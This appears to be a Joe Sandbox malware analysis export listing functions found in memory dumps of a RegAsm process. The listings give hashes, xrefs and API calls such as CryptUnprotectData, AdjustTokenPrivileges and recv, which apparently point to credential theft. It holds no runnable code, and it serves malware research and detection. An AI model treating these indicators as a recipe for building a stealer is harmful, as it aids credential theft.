String ID: Vq$\OWq$\OWq$\OWq
API String ID: 0-1255558437
Opcode ID: a6594f17afd1692dee9a39e3c1b80b35ee409fb237910ac171febcffdc64cf39
Instruction ID: ba6e95d82874c46488b7a614531f192fb7b3a1e11607da8e838ca55b8bd934d4
Opcode Fuzzy Hash: a6594f17afd1692dee9a39e3c1b80b35ee409fb237910ac171febcffdc64cf39
Instruction Fuzzy Hash: 0BC23B74E0025A8FCB54DF74C884A9EB7F2BF88314F2489A9D519AB354DB34ED81CB91

Uniqueness

Uniqueness Score: -1.00%

Function 1D21E640, Relevance: 5.0, Strings: 3, Instructions: 1296COMMON

Download Yara Rule

Strings

\OWq, xrefs: 1D21F667
\OWq, xrefs: 1D21F5DE
\OWq, xrefs: 1D21F64A

Memory Dump Source

Source File: 00000004.00000002.32235950109.000000001D210000.00000040.00000001.sdmp, Offset: 1D210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1d210000_RegAsm.jbxd

Similarity

API ID:
String ID: \OWq$\OWq$\OWq
API String ID: 0-691202199
Opcode ID: 2f4cfcf3bb0673ee34559fd188013309bdb67dbc571d48aada6a498bad6e711d
Instruction ID: 7c2cab99b6e9d0a7a3bbd466ca98753fa03ceebc8ddbed12fa166ad6debdee15
Opcode Fuzzy Hash: 2f4cfcf3bb0673ee34559fd188013309bdb67dbc571d48aada6a498bad6e711d
Instruction Fuzzy Hash: 4EB20A74E0125A8FDB54DF64C884A9DB7F2BF88310F24C9A9E419EB354DB34ED818B91

Uniqueness

Uniqueness Score: -1.00%

Function 1D214F80, Relevance: 4.3, Strings: 3, Instructions: 596
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

^O5q, xrefs: 1D2150D1
*Wq, xrefs: 1D21558A
*Wq, xrefs: 1D215596

Memory Dump Source

Source File: 00000004.00000002.32235950109.000000001D210000.00000040.00000001.sdmp, Offset: 1D210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1d210000_RegAsm.jbxd

Similarity

API ID:
String ID: ^O5q$*Wq$*Wq
API String ID: 0-3800419455
Opcode ID: e4319bbedf5bbd26d35afdd8a346bfb44688a681de437536916d1c48a327b434
Instruction ID: 15c5f16cf15435727c6d26c5b46d3a925c95a9e83190d80e2b3182c29bc04481
Opcode Fuzzy Hash: e4319bbedf5bbd26d35afdd8a346bfb44688a681de437536916d1c48a327b434
Instruction Fuzzy Hash: 51228230B002499FCB04DBB5C884AAEB7F2AF88314F29C569E515EB395DB74EC45CB91

Uniqueness

Uniqueness Score: -1.00%

Function 01768B8E, Relevance: 2.0, Instructions: 2013COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.32228869005.0000000001760000.00000040.00000001.sdmp, Offset: 01760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1760000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bec3a4db22f8a84c4f4d63810f321e23678de2875a52d004c0aff0d5e55e7525
Instruction ID: 02ebdc277a1756ec4195e56011637741780f0ebc3f5a393c5a2656119ef14432
Opcode Fuzzy Hash: bec3a4db22f8a84c4f4d63810f321e23678de2875a52d004c0aff0d5e55e7525
Instruction Fuzzy Hash: 4992E734B002419FDB21CB6CC444B6DBBE5AF4A314F2444AAEA49DF792CB76EC41C752

Uniqueness

Uniqueness Score: -1.00%

Function 1E45AF07, Relevance: 1.6, APIs: 1, Instructions: 75COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.KERNELBASE(?,?,?,?,?,?), ref: 1E45AF87

Memory Dump Source

Source File: 00000004.00000002.32236695176.000000001E45A000.00000040.00000001.sdmp, Offset: 1E45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1e45a000_RegAsm.jbxd

Similarity

API ID: AdjustPrivilegesToken
String ID:
API String ID: 2874748243-0
Opcode ID: 1ca1293d25a5b905cae61b28567e654aded554ca8477c585157d0f46c4429fdd
Instruction ID: 7353dc647198dfcfbadf95c2c50f13f4c117d9de98972c3b37ec06a467028750
Opcode Fuzzy Hash: 1ca1293d25a5b905cae61b28567e654aded554ca8477c585157d0f46c4429fdd
Instruction Fuzzy Hash: 2121D1B6509780AFDB128F25DC54B52BFF4EF06310F0886DAE9848F263D271E808DB61

Uniqueness

Uniqueness Score: -1.00%

Function 012D1113, Relevance: 1.6, APIs: 1, Instructions: 68encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,?,?,?,?,?,?), ref: 012D1192

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: 7e366de3c0b7df8e93fdd37145eb2d2caa30c4548cddc8a65ab5435b6c5abbe1
Instruction ID: 130bc5250cdd9025bb2a329710635fca2e2051ef05ad308bd28178eaad54e320
Opcode Fuzzy Hash: 7e366de3c0b7df8e93fdd37145eb2d2caa30c4548cddc8a65ab5435b6c5abbe1
Instruction Fuzzy Hash: CB21DE72408380AFDB238F65DC54BA2FFB4EF46324F0885DAE9858B563D335A418DB61

Uniqueness

Uniqueness Score: -1.00%

Function 1E45B089, Relevance: 1.6, APIs: 1, Instructions: 57nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL ref: 1E45B0F5

Memory Dump Source

Source File: 00000004.00000002.32236695176.000000001E45A000.00000040.00000001.sdmp, Offset: 1E45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1e45a000_RegAsm.jbxd

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: 00d3407b6130ae265aa137fbb8b1d544f691f7f85d1f9ae604637b8231fae9bd
Instruction ID: b22ce6d8afacce60a3b0dbfe7ce96b615f0ed2ca3eaa73160c85fded68072fa8
Opcode Fuzzy Hash: 00d3407b6130ae265aa137fbb8b1d544f691f7f85d1f9ae604637b8231fae9bd
Instruction Fuzzy Hash: 91119D724097C0AFDB128F15DC85A52FFB4EF46324F0D84DAE9858F263D275A918CB62

Uniqueness

Uniqueness Score: -1.00%

Function 1E45AF3E, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.KERNELBASE(?,?,?,?,?,?), ref: 1E45AF87

Memory Dump Source

Source File: 00000004.00000002.32236695176.000000001E45A000.00000040.00000001.sdmp, Offset: 1E45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1e45a000_RegAsm.jbxd

Similarity

API ID: AdjustPrivilegesToken
String ID:
API String ID: 2874748243-0
Opcode ID: 4b86c8f28bdfa2004b4dfd2e14d9c7ef1c5988ad67fe438641dfcca59949ede8
Instruction ID: 40aaefedd4eecaf37ea917267714ede68913c896529b2a94cf858d4fd1a63031
Opcode Fuzzy Hash: 4b86c8f28bdfa2004b4dfd2e14d9c7ef1c5988ad67fe438641dfcca59949ede8
Instruction Fuzzy Hash: C9119AB25003409FDB20CF56D884B5AFBE8EF04220F088AAAED458B712D375E414DB61

Uniqueness

Uniqueness Score: -1.00%

Function 012D114E, Relevance: 1.5, APIs: 1, Instructions: 49encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,?,?,?,?,?,?), ref: 012D1192

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: addb37197d4273600ba09f81ce86893cc52183ec33a3f3a150766dc39aef4ec1
Instruction ID: 14c58efce01e12fce1f54552d1d814d8689b4e4d040be58850a278dd68fac1dc
Opcode Fuzzy Hash: addb37197d4273600ba09f81ce86893cc52183ec33a3f3a150766dc39aef4ec1
Instruction Fuzzy Hash: 2411CE32500640AFDB218F65D845B56FBE4FF04320F08886EEE468BA12D375E024DB61

Uniqueness

Uniqueness Score: -1.00%

Function 1E45A09A, Relevance: 1.5, APIs: 1, Instructions: 42networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,?,?,?), ref: 1E45A0D5

Memory Dump Source

Source File: 00000004.00000002.32236695176.000000001E45A000.00000040.00000001.sdmp, Offset: 1E45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1e45a000_RegAsm.jbxd

Similarity

API ID: recv
String ID:
API String ID: 1507349165-0
Opcode ID: ec8483af4e6cfab0ac5b428591d7efe3437a7bf7298c4104de092a6a88d33553
Instruction ID: f0af30c6ec1fe5866a9f91ee9039abb3968cd5da365c8b95cf05388a1b047f4e
Opcode Fuzzy Hash: ec8483af4e6cfab0ac5b428591d7efe3437a7bf7298c4104de092a6a88d33553
Instruction Fuzzy Hash: 1A0188714007809FDB208F55D884B56FBE4EF44620F1889AADE488B312D2B5E048DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 1E45B0BA, Relevance: 1.5, APIs: 1, Instructions: 38nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL ref: 1E45B0F5

Memory Dump Source

Source File: 00000004.00000002.32236695176.000000001E45A000.00000040.00000001.sdmp, Offset: 1E45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1e45a000_RegAsm.jbxd

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: d2a5cd4ac988774bddc3f9ff700f07f3dd1a78c9fb3a94b36eb97eb7ab84d3aa
Instruction ID: fbfdf8a0df4a25c5b5cc20428d055c52bc18d3ec921db51dcdd44310fa6e5cf9
Opcode Fuzzy Hash: d2a5cd4ac988774bddc3f9ff700f07f3dd1a78c9fb3a94b36eb97eb7ab84d3aa
Instruction Fuzzy Hash: 8B018B314007849FDB608F46D884B16FBE0EF44720F18C5AADD494B312D3B5E458CF62

Uniqueness

Uniqueness Score: -1.00%

Function 01768518, Relevance: .5, Instructions: 511COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.32228869005.0000000001760000.00000040.00000001.sdmp, Offset: 01760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1760000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 501e055296b9e945aa7314bc7d9e4a81126ec1ff192b76d7f0f464cb3f2eea25
Instruction ID: 00cabe51ec63cf6b9d18d19efb0fa92116bfd5596aed7b348cf84db53a5cd4e3
Opcode Fuzzy Hash: 501e055296b9e945aa7314bc7d9e4a81126ec1ff192b76d7f0f464cb3f2eea25
Instruction Fuzzy Hash: BA124774A002059FDB25CB6CD484BADBBBAFF49310F25446AE905DB7A2C735EC84CB52

Uniqueness

Uniqueness Score: -1.00%

Function 1D21D2B8, Relevance: .4, Instructions: 418COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.32235950109.000000001D210000.00000040.00000001.sdmp, Offset: 1D210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1d210000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 040bf68fb367a85942d4097dcc8e51e121474cc4846d88f768133e0b8ddd65e4
Instruction ID: 49f5662e47a6d91b905a320d73e43a68b4fde18be371199feb1a7c41d6ea9440
Opcode Fuzzy Hash: 040bf68fb367a85942d4097dcc8e51e121474cc4846d88f768133e0b8ddd65e4
Instruction Fuzzy Hash: 76E1D430A44786CFD711EBBCD880B6ABBF2EB45310F24C96AD569CF291D731E8458B52

Uniqueness

Uniqueness Score: -1.00%

Function 1D214210, Relevance: .4, Instructions: 357COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.32235950109.000000001D210000.00000040.00000001.sdmp, Offset: 1D210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1d210000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d58821fb45d0a8354d3f8fdf75598e07f6b7b74c03689c476c4c96137f9b8fdc
Instruction ID: 6eb70e895e2e919098fa661a23ce40aa688d602ea9657d73035fe0de183a93c5
Opcode Fuzzy Hash: d58821fb45d0a8354d3f8fdf75598e07f6b7b74c03689c476c4c96137f9b8fdc
Instruction Fuzzy Hash: 27C1B371A0065A8FDB14CF68C880A6EBBF6FB85220F25C96AD45DDF741DB34EC428752

Uniqueness

Uniqueness Score: -1.00%

Function 1D219740, Relevance: .3, Instructions: 288COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.32235950109.000000001D210000.00000040.00000001.sdmp, Offset: 1D210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1d210000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61dac595be7079e3a82ed42a2798a96b86e2ea4c55b9201cce7fef07806cc8cd
Instruction ID: 39c14ac82e2c5b8d2188b0c69650ea8d3fed65368682e57104737ca98cb5a2be
Opcode Fuzzy Hash: 61dac595be7079e3a82ed42a2798a96b86e2ea4c55b9201cce7fef07806cc8cd
Instruction Fuzzy Hash: 7B91A335B002159BDB08EFB6C85476EB2E7AFC8710F25C929E915EB384EE34DC058795

Uniqueness

Uniqueness Score: -1.00%

Function 209230C0, Relevance: 11.8, APIs: 2, Strings: 4, Instructions: 1251libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 20923114
LdrInitializeThunk.NTDLL ref: 20923E19

Strings

:@0q, xrefs: 209249F5
2Wq, xrefs: 20924DCA
:@0q, xrefs: 20923ED1
:@0q, xrefs: 209245C7

Memory Dump Source

Source File: 00000004.00000002.32244826204.0000000020920000.00000040.00000001.sdmp, Offset: 20920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20920000_RegAsm.jbxd

Similarity

API ID: DispatcherExceptionInitializeThunkUser
String ID: :@0q$:@0q$:@0q$2Wq
API String ID: 243558500-1907287769
Opcode ID: 80ec7e8e10b4d536863f9f0e12e93c364693d03b0010b0f56e2c11dcba627390
Instruction ID: 63008dff5dea8296acfa6e2735eaf47a7a43fafb763accd3372a8a1f6f4b68f6
Opcode Fuzzy Hash: 80ec7e8e10b4d536863f9f0e12e93c364693d03b0010b0f56e2c11dcba627390
Instruction Fuzzy Hash: 0DD2D974E016298FCBA4DF64DC84A9DBBF6BF88201F5081EAD909A7354DB359E81CF11

Uniqueness

Uniqueness Score: -1.00%

Function 0176186B, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 145
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 017618D5

Strings

_5q, xrefs: 017618D0
L.Wq, xrefs: 01761910
L.Wq, xrefs: 01761972

Memory Dump Source

Source File: 00000004.00000002.32228869005.0000000001760000.00000040.00000001.sdmp, Offset: 01760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1760000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: L.Wq$L.Wq$_5q
API String ID: 2994545307-2255568486
Opcode ID: 2b1d88780e2fb2c1e42878f69e42d5ee11cc783aed2ccfb51ab49041aad01067
Instruction ID: be632b5912f99a92f092d7d1961a66230a54aea8d565ee30c0199485d96607f3
Opcode Fuzzy Hash: 2b1d88780e2fb2c1e42878f69e42d5ee11cc783aed2ccfb51ab49041aad01067
Instruction Fuzzy Hash: 9E518671B002459FCB44DFB4D844AAEB7F6AF88214F14897DE506EB244EF31E945CB91

Uniqueness

Uniqueness Score: -1.00%

Function 209230F0, Relevance: 5.9, APIs: 2, Strings: 1, Instructions: 696libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 20923114
LdrInitializeThunk.NTDLL ref: 20923E19

Strings

:@0q, xrefs: 20923ED1

Memory Dump Source

Source File: 00000004.00000002.32244826204.0000000020920000.00000040.00000001.sdmp, Offset: 20920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20920000_RegAsm.jbxd

Similarity

API ID: DispatcherExceptionInitializeThunkUser
String ID: :@0q
API String ID: 243558500-906771776
Opcode ID: 7e3c89bf6aab42b66f9e1036451c0566c38a65e4c07c8d4b9be04bff18a39d2e
Instruction ID: d3b7a40b0c0d901c0fd232716ece9a4b0270f258b0edfb009c986edc273def5c
Opcode Fuzzy Hash: 7e3c89bf6aab42b66f9e1036451c0566c38a65e4c07c8d4b9be04bff18a39d2e
Instruction Fuzzy Hash: C072C574E016288FCB64DF64DC84AA9BBF1FF88211F5081EAE949A3355DB359E81CF11

Uniqueness

Uniqueness Score: -1.00%

Function 1D215A08, Relevance: 5.6, Strings: 4, Instructions: 637
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

_5q, xrefs: 1D215C68
:@0q, xrefs: 1D215A3D
_5q, xrefs: 1D215CCD
_5q, xrefs: 1D215C9A

Memory Dump Source

Source File: 00000004.00000002.32235950109.000000001D210000.00000040.00000001.sdmp, Offset: 1D210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1d210000_RegAsm.jbxd

Similarity

API ID:
String ID: :@0q$_5q$_5q$_5q
API String ID: 0-1663103580
Opcode ID: ed2cef52f5dc8c23e7eb60a477d1cb7a26f98d210fd733f5d74b077b4a975f90
Instruction ID: 23cd73324ebddcc7a2be6b20493da6514b255c61519f7208e687d84b466da0f1
Opcode Fuzzy Hash: ed2cef52f5dc8c23e7eb60a477d1cb7a26f98d210fd733f5d74b077b4a975f90
Instruction Fuzzy Hash: 6F328030E002468FCB14DBB4D894A9DBBF2AF85314F29C56AD4199F355DB35EC42CB92

Uniqueness

Uniqueness Score: -1.00%

Function 20923144, Relevance: 4.2, APIs: 1, Strings: 1, Instructions: 686libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 20923E19

Strings

:@0q, xrefs: 20923ED1

Memory Dump Source

Source File: 00000004.00000002.32244826204.0000000020920000.00000040.00000001.sdmp, Offset: 20920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20920000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: :@0q
API String ID: 2994545307-906771776
Opcode ID: cdfc8170e8405464437394436426445ef377f3230ea5e48bc2e0d5050dabbf34
Instruction ID: 1f5883ecc901869eb0857bd5059e052a974508574a4d0fa8bbc29b4c2921e04b
Opcode Fuzzy Hash: cdfc8170e8405464437394436426445ef377f3230ea5e48bc2e0d5050dabbf34
Instruction Fuzzy Hash: 4B72C574E016288FCB64DF64DC84AA9BBF1FB88211F5081EAE949A3354DB359E81CF11

Uniqueness

Uniqueness Score: -1.00%

Function 20923198, Relevance: 4.2, APIs: 1, Strings: 1, Instructions: 676libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 20923E19

Strings

:@0q, xrefs: 20923ED1

Memory Dump Source

Source File: 00000004.00000002.32244826204.0000000020920000.00000040.00000001.sdmp, Offset: 20920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20920000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: :@0q
API String ID: 2994545307-906771776
Opcode ID: 6b37a14737d1f0aeff0d30f9f3b08e3eff9bf9fb305914e3df289a5a4a0775ad
Instruction ID: 42d67335978e3696916c62ad4a1cd71bb45fdb0bd017bb81aab3ae76c8a3e2e4
Opcode Fuzzy Hash: 6b37a14737d1f0aeff0d30f9f3b08e3eff9bf9fb305914e3df289a5a4a0775ad
Instruction Fuzzy Hash: 9972C574E01629CFCB64DF64DC84AA9BBF1FB88211F5081EAE949A3354DB359E81CF11

Uniqueness

Uniqueness Score: -1.00%

Function 209231EC, Relevance: 4.2, APIs: 1, Strings: 1, Instructions: 666libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 20923E19

Strings

:@0q, xrefs: 20923ED1

Memory Dump Source

Source File: 00000004.00000002.32244826204.0000000020920000.00000040.00000001.sdmp, Offset: 20920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20920000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: :@0q
API String ID: 2994545307-906771776
Opcode ID: dbe7e97de659126a9e6d8de9a8c465e1c72ad4c76a0e0fcad6d7d65740ea4d2d
Instruction ID: 33755bb0b29cf2219f8ef848880c82ce06a5c0d0a87f6f659438088cb1fc37a5
Opcode Fuzzy Hash: dbe7e97de659126a9e6d8de9a8c465e1c72ad4c76a0e0fcad6d7d65740ea4d2d
Instruction Fuzzy Hash: C072C574E01629CFCB64DF64DC84AA9BBF1FB88211F5081EAE949A3354DB359E81CF11

Uniqueness

Uniqueness Score: -1.00%

Function 20923240, Relevance: 4.2, APIs: 1, Strings: 1, Instructions: 656libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 20923E19

Strings

:@0q, xrefs: 20923ED1

Memory Dump Source

Source File: 00000004.00000002.32244826204.0000000020920000.00000040.00000001.sdmp, Offset: 20920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20920000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: :@0q
API String ID: 2994545307-906771776
Opcode ID: c4f4aa0a80c172f2885069c8223141e7b130753829ddbc9392686676d6f33e79
Instruction ID: e2341a956ad15c5844886335f09442e7f1bc9e74d01ff896954fd9418e6d0e78
Opcode Fuzzy Hash: c4f4aa0a80c172f2885069c8223141e7b130753829ddbc9392686676d6f33e79
Instruction Fuzzy Hash: 5072C674E01629CFCB64DF64DC84AA9BBF1FB88211F5081EAE949A3354DB359E81CF11

Uniqueness

Uniqueness Score: -1.00%

Function 20923294, Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 646libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 20923E19

Strings

:@0q, xrefs: 20923ED1

Memory Dump Source

Source File: 00000004.00000002.32244826204.0000000020920000.00000040.00000001.sdmp, Offset: 20920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20920000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: :@0q
API String ID: 2994545307-906771776
Opcode ID: edc47cf2ea8631dd69481f5cdb79bcde3d1b6b05283bbfd55e35757b15e46c28
Instruction ID: c441c0ac44a2b1eae4b43e3004e4f9eb35f637d580a7b515ef6e56e32388e84a
Opcode Fuzzy Hash: edc47cf2ea8631dd69481f5cdb79bcde3d1b6b05283bbfd55e35757b15e46c28
Instruction Fuzzy Hash: 6862C674E01629CFCB64DF64DC84AA9BBF1FB88211F5081EAE949A3354DB359E81CF11

Uniqueness

Uniqueness Score: -1.00%

Function 209232E8, Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 634libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 20923E19

Strings

:@0q, xrefs: 20923ED1

Memory Dump Source

Source File: 00000004.00000002.32244826204.0000000020920000.00000040.00000001.sdmp, Offset: 20920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20920000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: :@0q
API String ID: 2994545307-906771776
Opcode ID: 47a9ba946a382f69a7942bd51a1fd38aa789735265c95d75da7aef952c0cf22e
Instruction ID: d13a3a4067503be17857b7164f71321927278f8a3388e216b5337e1c48054312
Opcode Fuzzy Hash: 47a9ba946a382f69a7942bd51a1fd38aa789735265c95d75da7aef952c0cf22e
Instruction Fuzzy Hash: 9E62C574E016298FCB64DF64DC84AA9BBF1FB88201F5081EAE949A3355DB359E81CF11

Uniqueness

Uniqueness Score: -1.00%

Function 20923333, Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 624libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 20923E19

Strings

:@0q, xrefs: 20923ED1

Memory Dump Source

Source File: 00000004.00000002.32244826204.0000000020920000.00000040.00000001.sdmp, Offset: 20920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20920000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: :@0q
API String ID: 2994545307-906771776
Opcode ID: d5b258c41766d386b6fd9a5c181b659d6969a6552cd4713156e15d8257e3ad86
Instruction ID: 5894d07efda1927de1a5a7ff626821e0e4616a791039c0bc177d7775499d561a
Opcode Fuzzy Hash: d5b258c41766d386b6fd9a5c181b659d6969a6552cd4713156e15d8257e3ad86
Instruction Fuzzy Hash: C162C674E01629CFCB64DF64DC84AA9BBF1FF88201F5081EAE949A3355DA359E81CF11

Uniqueness

Uniqueness Score: -1.00%

Function 2092338A, Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 613libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 20923E19

Strings

:@0q, xrefs: 20923ED1

Memory Dump Source

Source File: 00000004.00000002.32244826204.0000000020920000.00000040.00000001.sdmp, Offset: 20920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20920000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: :@0q
API String ID: 2994545307-906771776
Opcode ID: adc48b00b6b272ba84232463c0af0874ab68d2411148a1490faa54b43de972b3
Instruction ID: 52774d7020d4ae3ce49f03e84fad6a1abdf9f371e26577db0013bf0e402a64e4
Opcode Fuzzy Hash: adc48b00b6b272ba84232463c0af0874ab68d2411148a1490faa54b43de972b3
Instruction Fuzzy Hash: E862C774E016298FCB64DF64DC84AA9BBF1FF88201F5081EAE949A3354DB359E81CF11

Uniqueness

Uniqueness Score: -1.00%

Function 209233DE, Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 603libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 20923E19

Strings

:@0q, xrefs: 20923ED1

Memory Dump Source

Source File: 00000004.00000002.32244826204.0000000020920000.00000040.00000001.sdmp, Offset: 20920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20920000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: :@0q
API String ID: 2994545307-906771776
Opcode ID: 3f1b6304b3c51b5737fca315a4860a727670ee579907a1be86066e5de8dcceeb
Instruction ID: c52b6f7b2c1d6bed0325a00bf64f98c129f4d92da57d8b9ef51a72bd613a51fc
Opcode Fuzzy Hash: 3f1b6304b3c51b5737fca315a4860a727670ee579907a1be86066e5de8dcceeb
Instruction Fuzzy Hash: 3062C674E016298FCB64DF64DC84AA9BBF1FF88201F5081EAE949A3355DB359E81CF11

Uniqueness

Uniqueness Score: -1.00%

Function 20923432, Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 593libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 20923E19

Strings

:@0q, xrefs: 20923ED1

Memory Dump Source

Source File: 00000004.00000002.32244826204.0000000020920000.00000040.00000001.sdmp, Offset: 20920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20920000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: :@0q
API String ID: 2994545307-906771776
Opcode ID: f9ab730cae1c923486615646bf5aa92a0c7e80740708feeaab2e01ba1a004e7c
Instruction ID: 5b0d2b9b2c985a6a21e401492f04b4f8118f38e16f83b1b6faedf57fd6f94fb7
Opcode Fuzzy Hash: f9ab730cae1c923486615646bf5aa92a0c7e80740708feeaab2e01ba1a004e7c
Instruction Fuzzy Hash: 2252B674E016298FCB64DF64DC84AA9BBF1FF88201F5081EAE949A3355DB359E81CF11

Uniqueness

Uniqueness Score: -1.00%

Function 20923486, Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 583libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 20923E19

Strings

:@0q, xrefs: 20923ED1

Memory Dump Source

Source File: 00000004.00000002.32244826204.0000000020920000.00000040.00000001.sdmp, Offset: 20920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20920000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: :@0q
API String ID: 2994545307-906771776
Opcode ID: 9f33aecdb7f0bf341d6f6c2e0cfe6a02567698150342b823bcc7c72e4ec55a5b
Instruction ID: 0b16778a8932237918575811abe02533f5704059442b6f301bad2bf30aac94c4
Opcode Fuzzy Hash: 9f33aecdb7f0bf341d6f6c2e0cfe6a02567698150342b823bcc7c72e4ec55a5b
Instruction Fuzzy Hash: 1D52B674E016298FCB64DF64DC84AA9BBF1FF88201F5081EAE949A3355DB359E81CF11

Uniqueness

Uniqueness Score: -1.00%

Function 209234DA, Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 573libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 20923E19

Strings

:@0q, xrefs: 20923ED1

Memory Dump Source

Source File: 00000004.00000002.32244826204.0000000020920000.00000040.00000001.sdmp, Offset: 20920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20920000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: :@0q
API String ID: 2994545307-906771776
Opcode ID: 676b8da56be080f0100e9237c834e29b1ea51ac14a871f7d9ba83ceaaf2204c9
Instruction ID: 2c7a926ee1f01c54fedfffd06e2db9f772cd13c6d35e190218bd6afcb929ef08
